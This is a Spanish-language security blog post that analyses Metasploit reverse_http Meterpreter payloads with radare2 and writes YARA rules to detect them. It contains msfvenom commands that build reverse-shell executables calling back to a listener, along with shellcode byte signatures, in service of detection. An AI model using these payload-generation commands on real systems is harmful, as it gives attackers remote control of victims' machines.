Hola a tod@s!

Hoy veremos qué es lo que ocurre cuando ejecutamos un binario generado por Metasploit con este tipo de Payload: “windows/meterpreter/reverse_http”.

Como son los binarios que genera, el tipo de Shellcode que se introduce en ellos así como lo que se envía desde la máquina que lo ejecuta y la que tiene Metasploit funcionando y como no, a detectarlos con reglas yara.

Lo primero, generamos los binarios de 32 y 64 bits y las shellcodes, así las tenemos a mano y podemos ver si una configuración por defecto las incluye en los propios binarios.

#!/bin/bash

IP="192.168.56.103"
PORT=443

msfvenom -p windows/meterpreter/reverse_http -a x86 --platform windows LHOST=$IP LPORT=$PORT -f raw > reverse_http_x86.raw

msfvenom -p windows/meterpreter/reverse_http -a x86 --platform windows LHOST=$IP LPORT=$PORT -f exe > reverse_http_x86.exe

msfvenom -p windows/x64/meterpreter/reverse_http -a x64 --platform windows LHOST=$IP LPORT=$PORT -f raw > reverse_http_x64.raw

msfvenom -p windows/x64/meterpreter/reverse_http -a x64 --platform windows LHOST=$IP LPORT=$PORT -f exe > reverse_http_x64.exe

Siendo IP="192.168.56.103" la IP que tiene el servidor de Metasploit que recibirá las peticiones de los que ejecuten los binarios y  PORT=443 el puerto a la escucha. Aunque es http he preferido poner el puerto 443 en lugar del 80 u otro ya que a la hora de identificarlos os puede ayudar a verlo mejor en el futuro.

Una vez ejecutado el script tenemos los siguientes ficheros:

-rw-r--r-- 1 root root 7168 nov 15 10:56 reverse_http_x64.exe
-rw-r--r-- 1 root root 742 nov 15 10:56 reverse_http_x64.raw
-rw-r--r-- 1 root root 73802 nov 15 10:39 reverse_http_x86.exe
-rw-r--r-- 1 root root 591 nov 15 10:38 reverse_http_x86.raw

Tenemos los 2 binarios y sus respectivas shellcode.

$ file reverse_http_x*
reverse_http_x64.exe: PE32+ executable (GUI) x86-64, for MS Windows
reverse_http_x64.raw: data
reverse_http_x86.exe: PE32 executable (GUI) Intel 80386, for MS Windows
reverse_http_x86.raw: data

Llama la atención la diferencia de tamaños entre los ejecutables, unos 7 kb frente a los 73 kb del otro. Y eso que el primero es el de 64 bits. Eso es debido a la forma de generarlos por parte de Metasploit, se realiza de forma diferente.

Del fichero de 32 bits, ya hablé de él en post anteriores, así que me centraré en el de 64. Una imagen vale más que mil palabras (o eso dicen), concretamente este.

Diferecia de tamaño Radare2

Vale, lo primero es ver si la shellcode resultante, está incluída dentro del binario generado:

Shellcode resultante

La respuesta es sí, estamos hablando de configuraciones por defecto, este proceso se podría modificar o alterar para que no sea exactamente como lo que se ve, ojo con esto.

Vamos a analizar el binario (exe) ya que es el que mayor información tiene. Para ello utilizaremos radare2: “radare2 -A reverse_http_x64.exe”.

Las opciones son “-A” para que realice un análisis (si lo queréis después podéis obviarlo y teclear aaa cuando lo necesiteis, no siempre es necesario).

$ radare2 -h
Usage: r2 [-ACdfLMnNqStuvwzX] [-P patch] [-p prj] [-a arch] [-b bits] [-i file] [-s addr] [-B baddr] [-m maddr] [-c cmd] [-e k=v] file|pid|-|--|=
...

Una vez cargado el ejecutable vemos las funciones que importa (imports), las secciones, las cadenas (strings), las funciones, etc. Todo lo que nos pueda ayudar a identificar qué es lo que hace.

Las funciones que importa son 2: ii

Función ii Radare2

VirtualAlloc (reserva memoria para la shellcode) y ExitProcess(finaliza el proceso e hilos).

Las secciones son las siguientes: iS

Secciones iS Radare2

Son 3 como podeis ver. La tercera (2 → .azgn) no siempre se llama de la misma forma, cambia, así que si generais alguna regla para ese nombre, no os funcionará en otro binario. Pero sí el número de secciones.

Las cadenas o “strings” nos aporta un dato importante, se ve todo lo que va a ocurrir cuando se ejecute el binario: iz (strings de .rdata) e izz (strings de todas las secciones)

Seccion iz Radare2

Como podeis observar, la shellcode se encuentra en la sección “.azgn”. Ahí podemos ver la IP, la URL, la librería que va a utilizar así como otras funciones de la API (que ya habíamos mencionado antes. Nos faltaría conocer el puerto que va a utilizar para la conexión.

Las funciones localizadas en el binario son pocas: afl (listamos las funciones) y vemos desde donde son llamadas (axt @@ fcn.*)

afl Radare2

Estando en el entrypoint (o “s entry0” si no estamos posicionados en él, pdf imprime por pantalla la función en donde nos encontremos siempre que estemos en una) vemos lo siguiente:

pdf Radare2

Esa llamada a la función “call fcn.1400040d6” nos lleva al shellcode que hemos visto con anterioridad. Tenemos 2 opciones para verlo (pdf @ fcn.1400040d6 o bien “s fcn.1400040d6” y pdf después. Con “s fcn.1400040d6” nos posicionamos en ella, s = seek). Cuando tengais alguna duda, añadid “?” al final del comando, os mostrará todas las opciones disponibles.

pdf Radare2 Ensamblador

Lo que vemos aquí es el uso de wininet y vemos un 443  en un comentario (se trata del puerto), pero ¿dónde está la IP que habíamos visto en las strings?

Aquí la tenemos, sólo que no la vemos directamente en este desensamblado.

Desamblado Radare2

Con la URL pasa lo mismo que con la ip, si se intenta desensamblar veremos código que no corresponde con lo que queremos ver.

Desamblado URL Radare2

Fijaros ahora como cambia el tema: ps @ 0x140004146

Radare2 PS

Vamos a tratarlo como un string y de esa forma ya lo veremos como es debido.

Poniendo todo esto en orden, a modo de resumen, lo que ocurre con este binario es reserva memoria para la shellcode incluída en la sección 2 (tercera del binario) y ejecutalo, cuando termines, fin de la partida (ExitProcess). Esa shellcode realiza una petición http al puerto 443.

Vale, vamos a verlo en funcionamiento, arrancamos metasploit:

Metaexploit Radare2

Ejecutamos el binario (os suena esa cabecera, verdad):

Ejecución de binario Cabecera

Y ya tenemos nuestra conexión contra la consola:

Conexión contra la consola

Vamos a la parte de detección, con reglas yara.

Podemos afrontarlo de la siguiente manera:

  1. Información del binario (imports, imphash- hash de todos los imports utilizados -, secciones, número de ellas, etc.
  2. Información sobre el shellcode.

Por lo tanto podemos generar 2 reglas de la siguiente manera.

Regla con la información del binario:

import "pe"
rule PE_Reverse_Meterpreter_Exe_x64 {
meta:
description = "Yara rule for detect PE Reverse Meterpreter Exe x64"
author = "by Rafa"
last_updated = "2020-10-15"
category = "informational"
condition:
pe.imports("KERNEL32.dll","VirtualAlloc") and
pe.imports("KERNEL32.dll","ExitProcess") and
pe.imphash() == "b4c6fff030479aa3b12625be67bf4914" and
pe.sections[0].name == ".text" and
pe.sections[1].name == ".rdata" and
pe.number_of_sections == 3 and
uint16(0) == 0x5A4D
}

Como he mencionado antes, tenemos 2 imports, 3 secciones, pero una de ellas puede cambiar su nombre y además es un ejecutable ( MZ = “uint16(0) == 0x5A4D”).

Del mismo modo, ya que estamos, para el otro binario de 32 bits que sería esta:

import "pe"
rule PE_Reverse_Meterpreter_Exe_x32 {
meta:
description = "Yara rule for detect PE Reverse Meterpreter Exe x32"
author = "by Rafa"
last_updated = "2020-10-15"
category = "informational"
condition:
pe.imports("MSVCRT.dll","_iob") and
pe.imports("MSVCRT.dll","_except_handler3") and
pe.imports("MSVCRT.dll","__set_app_type") and
pe.imports("MSVCRT.dll","__p__fmode") and
pe.imports("MSVCRT.dll","__p__commode") and
pe.imports("MSVCRT.dll","_adjust_fdiv") and
pe.imports("MSVCRT.dll","__setusermatherr") and
pe.imports("MSVCRT.dll","_initterm") and
pe.imports("MSVCRT.dll","__getmainargs") and
pe.imports("MSVCRT.dll","__p___initenv") and
pe.imports("MSVCRT.dll","_XcptFilter") and
pe.imports("MSVCRT.dll","_exit") and
pe.imports("MSVCRT.dll","_onexit") and
pe.imports("MSVCRT.dll","__dllonexit") and
pe.imports("MSVCRT.dll","strrchr") and
pe.imports("MSVCRT.dll","wcsncmp") and
pe.imports("MSVCRT.dll","_close") and
pe.imports("MSVCRT.dll","wcslen") and
pe.imports("MSVCRT.dll","wcscpy") and
pe.imports("MSVCRT.dll","strerror") and
pe.imports("MSVCRT.dll","modf") and
pe.imports("MSVCRT.dll","strspn") and
pe.imports("MSVCRT.dll","realloc") and
pe.imports("MSVCRT.dll","__p__environ") and
pe.imports("MSVCRT.dll","__p__wenviron") and
pe.imports("MSVCRT.dll","_errno") and
pe.imports("MSVCRT.dll","free") and
pe.imports("MSVCRT.dll","strncmp") and
pe.imports("MSVCRT.dll","strstr") and
pe.imports("MSVCRT.dll","strncpy") and
pe.imports("MSVCRT.dll","_ftol") and
pe.imports("MSVCRT.dll","qsort") and
pe.imports("MSVCRT.dll","fopen") and
pe.imports("MSVCRT.dll","perror") and
pe.imports("MSVCRT.dll","fclose") and
pe.imports("MSVCRT.dll","fflush") and
pe.imports("MSVCRT.dll","calloc") and
pe.imports("MSVCRT.dll","malloc") and
pe.imports("MSVCRT.dll","signal") and
pe.imports("MSVCRT.dll","printf") and
pe.imports("MSVCRT.dll","_isctype") and
pe.imports("MSVCRT.dll","atoi") and
pe.imports("MSVCRT.dll","exit") and
pe.imports("MSVCRT.dll","__mb_cur_max") and
pe.imports("MSVCRT.dll","_pctype") and
pe.imports("MSVCRT.dll","strchr") and
pe.imports("MSVCRT.dll","fprintf") and
pe.imports("MSVCRT.dll","_controlfp") and
pe.imports("MSVCRT.dll","_strdup") and
pe.imports("MSVCRT.dll","_strnicmp") and
pe.imports("KERNEL32.dll","PeekNamedPipe") and
pe.imports("KERNEL32.dll","ReadFile") and
pe.imports("KERNEL32.dll","WriteFile") and
pe.imports("KERNEL32.dll","LoadLibraryA") and
pe.imports("KERNEL32.dll","GetProcAddress") and
pe.imports("KERNEL32.dll","GetVersionExA") and
pe.imports("KERNEL32.dll","GetExitCodeProcess") and
pe.imports("KERNEL32.dll","TerminateProcess") and
pe.imports("KERNEL32.dll","LeaveCriticalSection") and
pe.imports("KERNEL32.dll","SetEvent") and
pe.imports("KERNEL32.dll","ReleaseMutex") and
pe.imports("KERNEL32.dll","EnterCriticalSection") and
pe.imports("KERNEL32.dll","DeleteCriticalSection") and
pe.imports("KERNEL32.dll","InitializeCriticalSection") and
pe.imports("KERNEL32.dll","CreateMutexA") and
pe.imports("KERNEL32.dll","GetFileType") and
pe.imports("KERNEL32.dll","SetLastError") and
pe.imports("KERNEL32.dll","FreeEnvironmentStringsW") and
pe.imports("KERNEL32.dll","GetEnvironmentStringsW") and
pe.imports("KERNEL32.dll","GlobalFree") and
pe.imports("KERNEL32.dll","GetCommandLineW") and
pe.imports("KERNEL32.dll","TlsAlloc") and
pe.imports("KERNEL32.dll","TlsFree") and
pe.imports("KERNEL32.dll","DuplicateHandle") and
pe.imports("KERNEL32.dll","GetCurrentProcess") and
pe.imports("KERNEL32.dll","SetHandleInformation") and
pe.imports("KERNEL32.dll","CloseHandle") and
pe.imports("KERNEL32.dll","GetSystemTimeAsFileTime") and
pe.imports("KERNEL32.dll","FileTimeToSystemTime") and
pe.imports("KERNEL32.dll","GetTimeZoneInformation") and
pe.imports("KERNEL32.dll","FileTimeToLocalFileTime") and
pe.imports("KERNEL32.dll","SystemTimeToFileTime") and
pe.imports("KERNEL32.dll","SystemTimeToTzSpecificLocalTime") and
pe.imports("KERNEL32.dll","Sleep") and
pe.imports("KERNEL32.dll","FormatMessageA") and
pe.imports("KERNEL32.dll","GetLastError") and
pe.imports("KERNEL32.dll","WaitForSingleObject") and
pe.imports("KERNEL32.dll","CreateEventA") and
pe.imports("KERNEL32.dll","SetStdHandle") and
pe.imports("KERNEL32.dll","SetFilePointer") and
pe.imports("KERNEL32.dll","CreateFileA") and
pe.imports("KERNEL32.dll","CreateFileW") and
pe.imports("KERNEL32.dll","GetOverlappedResult") and
pe.imports("KERNEL32.dll","DeviceIoControl") and
pe.imports("KERNEL32.dll","GetFileInformationByHandle") and
pe.imports("KERNEL32.dll","LocalFree") and
pe.imports("ADVAPI32.dll","FreeSid") and
pe.imports("ADVAPI32.dll","AllocateAndInitializeSid") and
pe.imports("WSOCK32.dll","getsockopt") and
pe.imports("WSOCK32.dll","connect") and
pe.imports("WSOCK32.dll","htons") and
pe.imports("WSOCK32.dll","gethostbyname") and
pe.imports("WSOCK32.dll","ntohl") and
pe.imports("WSOCK32.dll","inet_ntoa") and
pe.imports("WSOCK32.dll","setsockopt") and
pe.imports("WSOCK32.dll","socket") and
pe.imports("WSOCK32.dll","closesocket") and
pe.imports("WSOCK32.dll","select") and
pe.imports("WSOCK32.dll","ioctlsocket") and
pe.imports("WSOCK32.dll","__WSAFDIsSet") and
pe.imports("WSOCK32.dll","WSAStartup") and
pe.imports("WSOCK32.dll","WSACleanup") and
pe.imports("WSOCK32.dll","WSAGetLastError") and
pe.imports("WS2_32.dll","WSARecv") and
pe.imports("WS2_32.dll","WSASend") and
pe.imphash() == "481f47bbb2c9c21e108d65f52b04c448" and
pe.sections[0].name == ".text" and
pe.sections[1].name == ".rdata" and
pe.sections[2].name == ".data" and
pe.sections[3].name == ".rsrc" and
pe.number_of_sections == 4 and
uint16(0) == 0x5A4D
}

Que se obtendría exactamente igual que el anterior.

Y ahora las shellcodes, el paso número 2. Para detectar los binarios de Metasploit, tal cual salen de fábrica, con estas 2 sería suficiente, pero queremos detectar las shellcodes en otros binarios, los programados de otra forma, sin Metasploit.

rule SC_wininet_meterpreter_reverse_http_x64 {
meta:
description = "Yara Rule for Generic wininet meterpreter reverse http x64"
author = "by Rafa"
reference = "Internal Research"
last_updated = "2020-10-15"
category = "informational"
strings:
$initialsc = { FC 48 83 E4 F0 E8 CC 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61 7C 02 2C 20 41 C1 C9 0D 41 01 C1 E2 ED 52 41 51 48 8B 52 20 8B 42 3C 48 01 D0 66 81 78 18 0B 02 0F 85 72 00 00 00 8B 80 88 00 00 00 48 85 C0 74 67 48 01 D0 50 8B 48 18 44 8B 40 20 49 01 D0 E3 56 48 FF C9 41 8B 34 88 48 01 D6 4D 31 C9 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1 75 D8 58 44 8B 40 24 49 01 D0 66 41 8B 0C 48 44 8B 40 1C 49 01 D0 41 8B 04 88 48 01 D0 41 58 41 58 5E 59 5A 41 58 41 59 41 5A 48 83 EC 20 41 52 FF E0 58 41 59 5A 48 8B 12 E9 4B FF FF FF 5D 48 31 DB 53 49 BE 77 69 6E 69 6E 65 74 00 41 56 48 89 E1 49 C7 C2 4C 77 26 07 FF D5 53 53 48 89 E1 53 5A 4D 31 C0 4D 31 C9 53 53 49 BA 3A 56 79 A7 00 00 00 00 FF D5 E8 0F 00 00 00 }
$endsc = { 48 89 C1 53 5A 41 58 4D 31 C9 53 48 B8 00 02 28 84 00 00 00 00 50 53 53 49 C7 C2 EB 55 2E 3B FF D5 48 89 C6 6A 0A 5F 53 5A 48 89 F1 4D 31 C9 4D 31 C9 53 53 49 C7 C2 2D 06 18 7B FF D5 85 C0 75 1F 48 C7 C1 88 13 00 00 49 BA 44 F0 35 E0 00 00 00 00 FF D5 48 FF CF 74 02 EB CC E8 55 00 00 00 53 59 6A 40 5A 49 89 D1 C1 E2 10 49 C7 C0 00 10 00 00 49 BA 58 A4 53 E5 00 00 00 00 FF D5 48 93 53 53 48 89 E7 48 89 F1 48 89 DA 49 C7 C0 00 20 00 00 49 89 F9 49 BA 12 96 89 E2 00 00 00 00 FF D5 48 83 C4 20 85 C0 74 B2 66 8B 07 48 01 C3 85 C0 75 D2 58 C3 58 6A 00 59 49 C7 C2 F0 B5 A2 56 FF D5 }
condition:
all of them
}

Y por último, la de 32 bits.

rule SC_wininet_meterpreter_reverse_http_x32 {
meta:
description = "Yara Rule for Generic wininet meterpreter reverse_http x32"
author = "by Rafa"
reference = "Internal Research"
last_updated = "2020-10-15"
category = "informational"
strings:
$initialsc = { FC E8 82 00 00 00 60 89 E5 31 C0 64 8B 50 30 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF AC 3C 61 7C 02 2C 20 C1 CF 0D 01 C7 E2 F2 52 57 8B 52 10 8B 4A 3C 8B 4C 11 78 E3 48 01 D1 51 8B 59 20 01 D3 8B 49 18 E3 3A 49 8B 34 8B 01 D6 31 FF AC C1 CF 0D 01 C7 38 E0 75 F6 03 7D F8 3B 7D 24 75 E4 58 8B 58 24 01 D3 66 8B 0C 4B 8B 58 1C 01 D3 8B 04 8B 01 D0 89 44 24 24 5B 5B 61 59 5A 51 FF E0 5F 5F 5A 8B 12 EB 8D 5D 68 6E 65 74 00 68 77 69 6E 69 54 68 4C 77 26 07 FF D5 31 DB 53 53 53 53 53 E8 3E 00 00 00 }
$endsc = { 53 68 00 02 68 84 53 53 53 57 53 56 68 EB 55 2E 3B FF D5 96 6A 0A 5F 53 53 53 53 56 68 2D 06 18 7B FF D5 85 C0 75 14 68 88 13 00 00 68 44 F0 35 E0 FF D5 4F 75 E1 E8 4B 00 00 00 6A 40 68 00 10 00 00 68 00 00 40 00 53 68 58 A4 53 E5 FF D5 93 53 53 89 E7 57 68 00 20 00 00 53 56 68 12 96 89 E2 FF D5 85 C0 74 CF 8B 07 01 C3 85 C0 75 E5 58 C3 5F E8 7F }
condition:
all of them
}

Comprobemos el resultado.

$ yara -r Metasploit.yar .
SC_wininet_meterpreter_reverse_http_x64 ./reverse_http_x64.raw
SC_wininet_meterpreter_reverse_http_x64 ./reverse_http_x64.exe
PE_Reverse_Meterpreter_Exe_64_generic ./reverse_http_x64.exe
SC_wininet_meterpreter_reverse_http_x32 ./reverse_http_x86.raw
SC_wininet_meterpreter_reverse_http_x32 ./reverse_http_x86.exe
PE_Reverse_Meterpreter_Exe_32 ./reverse_http_x86.exe

Como veis, se ven duplicados, como esperábamos, pero es lo que os decía, mejor así, ya que en muchas ocasiones no se generan directamente con Metasploit, solamente la shellcode, así que más vale prevenir.

Espero que os haya gustado y nos vemos en el siguiente post!!